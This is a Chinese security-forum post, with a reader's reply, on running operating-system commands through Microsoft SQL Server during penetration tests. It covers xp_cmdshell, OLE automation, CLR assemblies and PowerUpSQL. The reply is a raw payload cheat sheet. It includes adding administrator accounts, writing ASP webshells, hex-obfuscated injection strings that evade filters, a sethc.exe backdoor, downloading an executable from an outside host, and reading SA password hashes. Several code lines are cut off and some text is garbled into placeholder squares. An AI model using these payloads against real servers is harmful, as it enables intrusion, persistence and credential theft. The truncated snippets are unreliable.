登录

Exec OS Command Via MSSQL

evi1cg / 2017-03-01 02:21:45 / 浏览数 4657 安全技术 漏洞分析 顶(0) 踩(0)

0x00 简介

渗透测试过程中，大家经常会碰到通过MSSQL来进行提权或执行系统命令之类的操作，通常我们经常会使用xp_cmdshell来进行执行系统命令，但是当xp_cmdshell不能使用

0x01 常用的一些姿势

1. XP_CMDSHELL

这个大家都比较熟悉了，通过xp_cmdshell来执行命令，可使用以下语句来执行:

```
exec master..xp_cmdshell "whoami"
```

默认情况下xp_cmdshell 是禁止的，如下图：

这个时候，可以使用以下命令进行开启：

```
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
```

关闭一样,只是将上面的后面的那个"1"改成"0"就可以了。
开启以后，则可执行系统命令

如果xp_cmdshell被删除，可以尝试上传xplog70.dll进行恢复，恢复语句：

```
Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\\xplog70.dll'
```

2. SP_OACREATE

当xp_cmdshell 删除以后，可以使用SP_OACreate。
首先要打开组件：

```
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0;
```

之后使用以下语句执行命令：

```
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.
```

>这里要注意一下，此方式执行是无回显的

3. 自启动

以下方式需要电脑重启。
添加注册表：

```
xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run','exec','REG_SZ','ipconfig'
```

备份添加启动项：

```
alter database test set RECOVERY FULL-- (■SQL■■■■■■■■■■■■)
create table cmd (a image)--  (■■■■■■cmd■)
backup database test  to disk = 'D:\\temp\\cmd'  WITH init --
backup log test to disk = 'D:\\temp\\cmd1'  WITH init --  (■■■■■■■■■■)
insert into cmd (a) values (0x0a406563686f206f66660d0a406563686f206f66660d0a40636d642e657865202f63206563686f2077686f616d69203e
-- (■■cmd■■)
backup log test to disk = 'C:\\Documents and Settings\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\1.bat'--
drop table cmd --(■■■■■cmd■■
alter database test set RECOVERY SIMPLE--(■SQL■■■■■■■■■■■■)
```

>测试发现，Win10+MSSQL 2012导出的批处理并不能顺利执行，可能与系统及数据库版本有一定关系，成功率并不怎么高。

4. 通过沙盒执行命令

开启沙盒：

```
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
```

然后利用jet.oledb执行命令：

```
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\dnary.mdb','select shell("whoami")')
```

0x02 通过Agent Job执行命令

此种方式适用于服务器■■■MSSQL Agent Job■■，并且服务器中■■■■■■■■■■■■■■■■■■■■■■■■■■■■的情况。
利用代码如下：

```
USE msdb; EXEC dbo.sp_add_job @job_name = N'test_powershell_job1' ; EXEC sp_add_jobstep @job_name = N'test_powershell_job1', @
```

关于此种方式已经有文章进行介绍，有兴趣可以阅读一下。戳我

0x03 SQL Server CLR

这种方式是最近才学到的，也是本文重点介绍的一种姿势。
Microsoft SQL Server 现在具备与 Microsoft Windows .NET Framework 的公共语言运行时 (CLR) 组件集成的功能。CLR 为托管代码提供服务，例如跨语言集成、代码访问安全性、对象生存期管理以及调试和分析支持。对于 SQL Server 用户和应用程序开发人员来说，CLR 集成意味着您现在可以使用任何 .NET Framework 语言（包括 Microsoft Visual Basic .NET 和 Microsoft Visual C#）编写存储过程、触发器、用户定义类型、用户定义函数（标量函数和表值函数）以及用户定义的聚合函数。
要通过此种方式来执行命令，也有几个前提：
1、■SQL Server■■■■CLR■■■■■■■■■■■■■
2、SQL Server■■■■■■■■■■/■■■■■■■■■
创建CLR有两种方式:
方式一：使用DLL文件进行创建

```
CREATE ASSEMBLY AssemblyName from ‘DLLPath’
```

方式二：使用文件16进制流进行创建

```
CREATE ASSEMBLY AssemblyName from ■■■■■■■■
```

对于做渗透的我们，当然是没有文件是最好的方式了，因此，本文主要介绍方式二。以下为详细测试步骤：
1、安装Visual Studio和SQL Server数据库，此次测试使用了VS2015跟SQL2012。
2、创建一个新的SQL Server数据库项目

3、设置项目属性，目标平台修改为需要的目标平台，如SQL Server 2012; ■SQLCLR■■■■■■■UNSAFE；修改.Net 框架版本为自己需要的版本；■■■■C#。

4、右键项目，选择添加->新建项，新建SQL CLR C# 存储过程

5、填入以下测试代码：

```
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.Collections.Generic;
using System.Text;
using System.Threading.Tasks;

public partial class StoredProcedures
{
[Microsoft.SqlServer.Server.SqlProcedure]
public static void SqlStoredProcedure1 ()
{
// ■■■■■■■■
System.Diagnostics.Process process = new System.Diagnostics.Process();
process.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.Arguments = "/C whoami > d:\\temp\\1.txt";
process.Start();
}
}
```

6、填入代码以后进行编译，之后到编译目录下可以看到一个dacpac后缀的文件。

7、双击此文件进行解压，将解压出一个名为mode.sql的文件。
8、执行SQL文件中的以下语句

```
CREATE ASSEMBLY [ExecCode]
AUTHORIZATION [dbo]
FROM 0x4D5A[...snip...]
WITH PERMISSION_SET = UNSAFE;
```

之后执行：

```
CREATE PROCEDURE [dbo].[SqlStoredProcedure1]
AS EXTERNAL NAME [ExecCode].[StoredProcedures].[SqlStoredProcedure1]
```

9、开启数据库服务器配置选项clr enabled

```
EXEC sp_configure N'show advanced options', N'1'
RECONFIGURE WITH OVERRIDE
--■■clr enabled ■■
EXEC sp_configure N'clr enabled', N'1'
RECONFIGURE WITH OVERRIDE
--■■■■■■■■■■■■
EXEC sp_configure N'show advanced options', N'0'
RECONFIGURE WITH OVERRIDE
--■■■■■■■■■■■■■■■■■■■
alter database [master] set TRUSTWORTHY on
EXEC sp_changedbowner 'sa'
```

10、执行命令：

```
EXEC [dbo].[SqlStoredProcedure1];
```

>如果没成功，可以换个数据库试试看。

11、删除存储过程

```
DROP PROCEDURE [dbo].[SqlStoredProcedure1];
DROP ASSEMBLY ExecCode;
```

0x04 PowerUpSQL

当然针对SQL Server的攻击，有一个强大的工具PowerUpSQL，里面也有很多针对MSSQL的攻击方式。下面介绍两种比较实用的方式。

1. SP_Addextendedproc

套件中的`Create-SQLFileXpDll`方法，在这里对其使用方式简单的进行一下介绍。
创建DLL：

```
PS C:\Users\Evi1cg\Desktop\PowerUpSQL> . .\PowerUpSQL.ps1
PS C:\Users\Evi1cg\Desktop\PowerUpSQL> Create-SQLFileXpDll -OutFile D:\temp\exec.dll -Command "echo Exec test > D:\temp\
test.txt" -ExportName xp_test
```

SQL Server 通过 sp_addextendedproc 调用DLL从而达到命令执行的效果。这里有两种方式导入：

```
//via local disk
sp_addextendedproc 'xp_test', 'D:\temp\exec.dll'
//via UNC path:
sp_addextendedproc 'xp_test', '\\servername\pathtofile\exec.dll'
```

导入之后的可调用xp_test来执行命令：

```
exec master..xp_test;
```

通过以下命令可以卸载：

```
sp_dropextendedproc 'xp_test'
```

2. SMB Relay Attacks

针对这种方式，已经有文章总结了，这里就不多做介绍了，详细请看这里。

0x05 小结

本文就通过SQL Server
执行系统命令进行了一下小结，当然方式可能不全，仅仅是自己知道的一些方法，还希望大牛别喷，如果您有什么更加新颖的方法，欢迎补充，希望本文对你有所帮助。

0x06 参考

1.http://bobao.360.cn/learning/detail/3070.html
2.https://www.mssqltips.com/sqlservertip/2087/how-to-execute-a-dos-command-when-xpcmdshell-is-disabled-in-sql-server/
3.http://blog.csdn.net/tjvictor/article/details/4726933
4.https://www.mssqltips.com/sqlservertip/1662/writing-to-an-operating-system-file-using-the-sql-server-sqlclr/
5.https://www.t00ls.net/viewthread/23198.html?amp;extra=page%3D1%26amp%3Bfilter%3Dtype%26amp%3Btypeid%3D39

上一篇：通过双重跳板漫游隔离内网 下一篇：Phantomjs性能优化

1. 2 条回复


hades 2017-03-04 07:17:03

SQL Server存储过程

```
Xp_availablemedia          ■■■■■■■■■■■■
xp_enumgroups              ■■■■■■■■■■■■■■■■
Xp_dirtree                 ■■■■■■■■■■
Xp_enumdsn                 ■■■■■■■■ODBC■■■■
Xp_loginconfig             ■■■■■■■■■■
Xp_makecab                 ■■■■■■■■■■■■■■■■■■■■
Xp_ntsec_enumdomains       ■■■■■■■■■■■■
Xp_terminate_process       ■■■■■■■■ID■■■■■■■
xp_servicecontrol          ■■■■■■■■■■■■
xp_regread                 ■■■■■■■■■■
xp_getfiledetails          ■■■■■■■■■■■
```

判断组件是否存在

```
SELECT count(*) FROM master.dbo.sysobjects WHERE xtype='X' AND name='xp_cmdshell'
```

基本信息查询

```
;declare @d int //■■mssql■■■■■■■■■
and (select count(1) from [sysobjects])>=0 //■■■■■■■■
and 1=convert (int,db_name())  ■■■■■■■
and db_name(1-7)>0 ■■■■■■■■
and 1=(select @@servername)  //■■■■■■
and 1=(select HAS_DBACCESS('master'))  ■■■■■■■■■■■
0=(SELECT top 1 cast([name] as nvarchar(256)) char(94) cast([filename] as nvarchar(256)) from (select top 3 dbid,name,filen
```

恢复sp_addextendedproc

```
Use master
create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */
@dllname varchar(255)/* name of DLL containing function */
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
```

sp_addextendedproc恢复各种扩展

```
EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_enumgroups ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_loginconfig ,@dllname ='xplog70.dll'
```

```
EXEC sp_addextendedproc xp_enumerrorlogs ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_getfiledetails ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc Sp_OACreate ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OADestroy ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAGetErrorInfo ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAGetProperty ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAMethod ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OASetProperty ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAStop ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc xp_regaddmultistring ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regdeletekey ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regdeletevalue ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regenumvalues ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regremovemultistring ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regwrite ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_dirtree ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regread ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_fixeddrives ,@dllname ='xpstar.dll'
```

利用xp_makecab、xp_unpackcab配合404页面，获取路径！

```
Url;Exec master..xp_makecab 'C:\WINDOWS\Help\iisHelp\common\404b.cab', 'mszip', 1, 'C:\WINDOWS\Help\iisHelp\common\404b.htm
```

--先备份404b.htm页面

```
Url;Exec master..xp_makecab 'C:\WINDOWS\Help\iisHelp\common\metabase.cab', 'mszip', 1, 'C:\WINDOWS\system32\inetsrv\MetaBas
```

--备份metabase.xml文件到C:\WINDOWS\Help\iisHelp\common\目录

```
Url;exec master..xp_unpackcab 'C:\WINDOWS\Help\iisHelp\common\metabase.cab','C:\WINDOWS\Help\iisHelp\common\',1,'404b.htm'
--■MetaBase.bin■C:\WINDOWS\Help\iisHelp\common\metabase.cab■■■■■■■■■■■404b.htm
```

然后我们访问该站不存在的文件名，就可以利用404b文件帮我们列出文件内容了。

```
Url;exec master..xp_cmdshell 'net user>C:\WINDOWS\Help\iisHelp\common\404b.htm'--
```

利用BULK来读取文件

```
drop table [nspcn]
CREATE TABLE [nspcn](ResultTxt nvarchar(1024) NULL)
BULK INSERT [nspcn] FROM 'c:\boot.ini' WITH (KEEPNULLS)
insert into [nspcn] values ('g_over');Alter Table [nspcn] add id int NOT NULL IDENTITY (1,1)
select * from [nspcn]

drop table [nspcn]
CREATE TABLE [nspcn](ResultTxt nvarchar(1024) NULL)
BULK INSERT [nspcn] FROM 'C:\Windows\system32\inetsrv\MetaBase.xml' WITH (KEEPNULLS)
insert into [nspcn] values ('g_over');Alter Table [nspcn] add id int NOT NULL IDENTITY (1,1)
select * from [nspcn]

declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'e:\2.asp', 1
exec @ret = sp_oamethod @f, 'readline', @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, 'readline', @line out
end
```

加sa账号

```
Url;exec master.dbo.sp_addlogin username,password--
Url;exec master.dbo.sp_addsrvrolemember username,sysadmin--
```

提升SQL用户权限

```
exec master.dbo.sp_configure 'allow updates', 1;RECONFIGURE WITH OVERRIDE; update sysxlogins set xstatus=18 where name='x'-
```

MSsql2005中启用xp_cmdshell

```
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--
dbcc addextendedproc("xp_cmdshell","xplog70.dll")


EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;--
```

SA权限下的执行命令

```
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd

;xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run','black','REG_SZ','net user xiaobing xiaob

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'regread',null,'HKEY_LOCAL_MACHINE

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'regwrite',null,'HKEY_LOCAL_MACHI

declare @shell int exec sp_oacreate 'Shell.Application',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\

declare @shell int exec sp_oacreate 'Shell.Application',@shell output exec sp_oamethod @shell,'ShellExecute',null,'SAUU.vbs
sauu.vbs■■■■■■■■■vbs■■■■c■■■■■
```

```
declare @js int
EXEC sp_OACreate 'ScriptControl',@js OUT
EXEC sp_OASetProperty @js, 'Language', 'JavaScript'
EXEC sp_OAMethod @js, 'Eval', NULL, 'var o=new ActiveXObject("Shell.Users");z=o.create("iishelp");z.changePassword("123456",
```

```
Url;exec master.dbo.xp_cmdshell 'net user 123 123 /add';--
```

```
Url;exec sp_makewebtask 'E:\wwwroot\DianCMS\1\bing.asp',' select ''<%25execute(request("a"))%25>'' ';--
```

```
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cm
```

```
exec xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber'
```

nc -vv -l -p 50
Url;exec master..xp_cmdshell 'mstsc -v:远程ip：50'--

exec master.dbo.xp_subdirs 'c:\' 列目录

写一句话木马

```
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'e:\2.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,
'<%execute(request("a"))%>'
```

防注入写法

```
declare @a int,@b int,@c varchar(255),@d varchar(255),@e varchar(255),@f varchar(255),@g varchar(255),@h varchar(255),@i va
set @c=0x6D61737465722E2E73705F6F61637265617465;
set @d=0x6D61737465722E2E73705F6F616D6574686F64;
set @e=0x536372697074696E672E46696C6573797374656D4F626A656374;
set @f=0x437265617465546578744696C65;
set @g=0x433A5C496E65747075625C73797374656D2E617370;
set @h=0x74727565;
set @i=0x7772697465;
set @j=0x3C256576616C2072657175657374282258222922529253E;
exec @c @e,@a output;
exec @d @a,@f,@b output,@g,@h;
exec @d @b,@i,null,@j
```

恢复cmdshell防注入

```
declare @a varchar(255),@b varchar(255),@c varchar(255);
set @a=0x6D61737465722E2E73705F616464657874656E64656470726F63;
set @b=0x78705F636D647368656C6C;
set @c=0x78706C6F6737302E646C6C;
exec @a @b,@c
```

导出文件的存储过程

```
DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINdows\system32\c
```

SA沙盒模式提权

```
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;--
```

```
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user itpro
```

利用xp_readerrorlog来读取文件

```
EXEC [master].[dbo].[xp_readerrorlog] 1,'d:\cmd.asp'
```

xp_regwrite写注册表，替换sethc.exe实现提权

```
xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debu
```

过滤了xp_cmdshell等关键字提交方法语句

```
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user c xiaobing /add'
```

复制

```
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
```

列目录 db权限？

```
exec master..xp_dirtree 'C:\Documents and Settings\Administrator\■■■■■■\■■\■■',1,1
```

sa下载文件

```
declare @b varbinary(8000),@hr int,@http int,@down int
exec sp_oacreate [microsoft.xmlhttp],@http output exec @hr = sp_oamethod @http,[open],null,[get],[http://www.jestina.co.kr/U
exec @hr = sp_oamethod @http,[send],null
exec @hr=sp_oagetproperty @http,[responsebody],@b output
exec @hr=sp_oacreate [adodb.stream],@down output
exec @hr=sp_oasetproperty @down,[type],1
exec @hr=sp_oasetproperty @down,[mode],3
exec @hr=sp_oamethod @down,[open],null
exec @hr=sp_oamethod @down,[write],null,@b
exec @hr=sp_oamethod @down,[savetofile],null,[d:\RECYCLER\l.exe],1;
```

查看命令执行结果

```
drop table black;create TABLE black (result varchar(7996) NULL, ID int NOT NULL IDENTITY (1,1))--
;insert into black exec master..xp_cmdshell 'ipconfig /all'--
and (select result from black where id=1)>0--
```

sa建立用户

```
DECLARE @o int
DECLARE @z int
EXEC sp_OACreate 'Shell.Users',@o OUT
EXEC sp_OAMethod @o, 'Create', @z OUT, '11111'
EXEC sp_OASetProperty  @z, 'setting', 3 , 'AccountType'
EXEC sp_OAMethod @z, 'ChangePassword',NULL , '123456', ''
```

导出注册表

```
1■drop table [regdir];create table [regdir](value nvarchar(1000) null,data nvarchar(1000) null)--
```

```
2■delete [regdir];insert [regdir]exec master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port'
```

创建sp_readtextfile存储过程

```
Create proc sp_readTextFile @filename sysname
as
```

```
begin
set nocount on
Create table #tempfile (line varchar(8000))
exec ('bulk insert #tempfile from "' + @filename + '"')
select * from #tempfile
drop table #tempfile
End
go
```

然后利用它读文件

```
exec sp_readTextFile 'c:\boot.ini'
```

清除MsSql日志

```
set nocount on
declare @logicalfilename sysname,
@maxminutes int,
@newsize int
```

停掉或激活某个服务

```
exec master..xp_servicecontrol 'stop','sharedaccess'
exec master..xp_servicecontrol 'start','sharedaccess'
```

列出驱动器的名称

```
EXEC [master].[dbo].[xp_availablemedia]
```

列出指定目录的所有下一级子目录

```
EXEC [master].[dbo].[xp_subdirs] 'c:\windows'
```

列出当前错误日志的具体内容

```
EXEC [master].[dbo].[xp_readerrorlog]
```

列出当前计算机名称

```
execute master..xp_getnetname
```

列出当前计算机的驱动器可用空间

```
execute master..xp_fixeddrives
```

列出服务器所有本地组

```
execute master..xp_enumgroups
```

获取MS SQL的版本号

```
execute master..sp_msgetversion
```

列目录

```
■■■■:■■■,■■■■,■■■■■■==
execute master..xp_dirtree 'c:'
execute master..xp_dirtree 'c:',1
execute master..xp_dirtree 'c:',1,1

dbcc addextendedproc ('xp_regread','xpstar.dll')

dbcc addextendedproc ('xp_regwrite','xpstar.dll')
```

找文件:

```
http://localhost/index.asp?id=1;drop table tmp;create table tmp([id] [int] IDENTITY (1,1) NOT NULL,[name] [nvarchar] (300) N

declare @id int,@depth int,@name nvarchar(300) set @name='index.asp' set @id=(select top 1 id from tmp where isfile=1 and na

http://localhost/index.asp?id=1 and (select name from tmp where id=1)>0--
```

查找目录:

```
http://localhost/index.asp?id=1;drop table tmp;create table tmp([id] [int] IDENTITY (1,1) NOT NULL,[name] [nvarchar] (300) N

declare @id int,@depth int,@name nvarchar(300) set @name='1' set @id=(select top 1 id from tmp where name=@name) set @depth=
http://localhost/index.asp?id=1 and (select name from tmp where id=1)>0--

<script language=VBScript>
window.moveTo 8888,8888
Set wShell=CreateObject("Wscript.Shell")
wShell.run "cmd.exe /c net user xx xx /add&net localgroup administrators xx /add&net localgroup "Remote Desktop Users" xx /a
window.resizeTo 0,0
window.close
</script>

1' and 1=2 union select 1,0x130A0D0A2D2D213E3C736372697074206C616E67756167653D56425363726970743E6F6E206572726F722072657375
```

SA密码
select password from master.dbo.sysxlogins where name='sa' 2000

select password from master.dbo.sql_logins where name='sa' 2005

Hash 总共94位 分4段 前6位为常量，接着8位是Salt部分，接下来是40位的大写字母密文，最后40位是混合密文
明文密码全是数字、纯大写字母、数字+大写字母 经过pwdencrypt()加密得到的Hash的混合密文和大写字母密文相同
----------2010年3月黑x档案

----------db权限成功率很小----------
use msdb exec sp_delete_job null,'x'
exec sp_add_job 'x'
exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user xiao /add'
exec sp_add_jobserver NULL,'x',@@servername exec sp_start_job 'x'

use msdb exec sp_delete_job null,'jktest1'
EXEC sp_add_job @job_name='jktest1',@enabled = 1,@delete_level = 1
EXEC sp_add_jobstep @job_name='jktest1',@step_name = 'ExeC my sql',@subsystem = 'TSQL',
@CommAnd = 'exeC master..xp_exeCresultSet N''seleCt ''''exeC master..xp_Cmdshell "net user a /add"''''''',N''Master'''
EXEC sp_add_jobServer @job_name = 'jktest1',
@Server_name = 'XIAOBING-50320F'
EXEC sp_start_job @job_name = 'jktest1'

读文件

第一种：利用XP_CMDSHELL

create table hack..tmp(str nvarchar(800))

insert into hack..tmp exec master..xp_cmdshell 'type c:\boot.ini'

drop table tmp

第二种：利用OLE对象接口

create table hack..tmp(str nvarchar(800))

declare @o int,@f int,@str nvarchar(4000)

exec sp_oacreate 'scripting.filesystemobject",@o out;

exec sp_oamethod @o,"opentextfile",@f out,"c:\boot.ini",1;

exec sp_oamethod @f,"readall",@str out;

insert into hack..tmp values(@str)

drop table tmp

第三种：BULK INSERT

create table hack..tmp (str nvarchar(800))

bulk insert hack..tmp from 'c:\boot.ini'

drop table tmp

第四种：扩展存储过程xp_readerrorlog

```
create table hack..tmp(str nvarchar(800),row int)

insert into tmp exec master..xp_readerrorlog 1,'c:\boot.ini'

drop table tmp
```

上面的四种方法都是将c:\boot.ini中的数据写入了临时表hack中

PUBLIC权限
xp_getfiledetails
获取指定文件的详细信息，如大小、创建日期。
exec master..xp_getfiledetails 'c:\boot.ini'

xp_ntsec_enumdomains
获取服务器名
exec master..xp_ntsec_enumdomains

xp_fileexist
判断目录/文件是否存在
exec master..xp_fileexist 'c:\boot.ini'

xp_msver
获取系统信息
exec master.dbo.xp_msver

SA权限
Xp_availablemedia
列举可用的系统分区
Exec xp_availablemedia

Xp_enumgroups
列举系统中的用户组
Exec xp_enumgroup

Xp_makecab
将制定的多个文件压缩到一个档案中
Exec xp_makecab ‘c:\1.cab’,MSZIP,1,’c:\boot.ini’,1

Xp_unpackcab
解压档案
Exec xp_unpackcab ‘c:\1.cab’,’c:\tmp’,1

Xp_servicecontrol
控制指定服务

```
Exec xp_servicecontrol ‘pause’,’schedul’

Exec xp_servicecontrol ‘start’,’schedul’

Exec xp_servicecontrol ‘stop’,’schedul’

Use www.xianzhi.com;–(■■■■■■■■■■■■)
drop table cmd;
create table cmd (a text);
BULK INSERT cmd
FROM ‘d:/freehos/webshell.cc.asp’
WITH (
FIELDTERMINATOR = ‘n’,
ROWTERMINATOR = ‘nn’
)
select * from cmd
■■■■■■■■d:/freehos/xianzhi.asp
```

加管理员

```
declare @a int;exec master..sp_oacreate 'ScriptControl',@a output;exec master..sp_oasetproperty @a,'language','VBScript';exe
```

0 回复Ta

 hades 2017-03-04 07:18:09

上面是我自己以前整理过的。。只是好久没完了

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板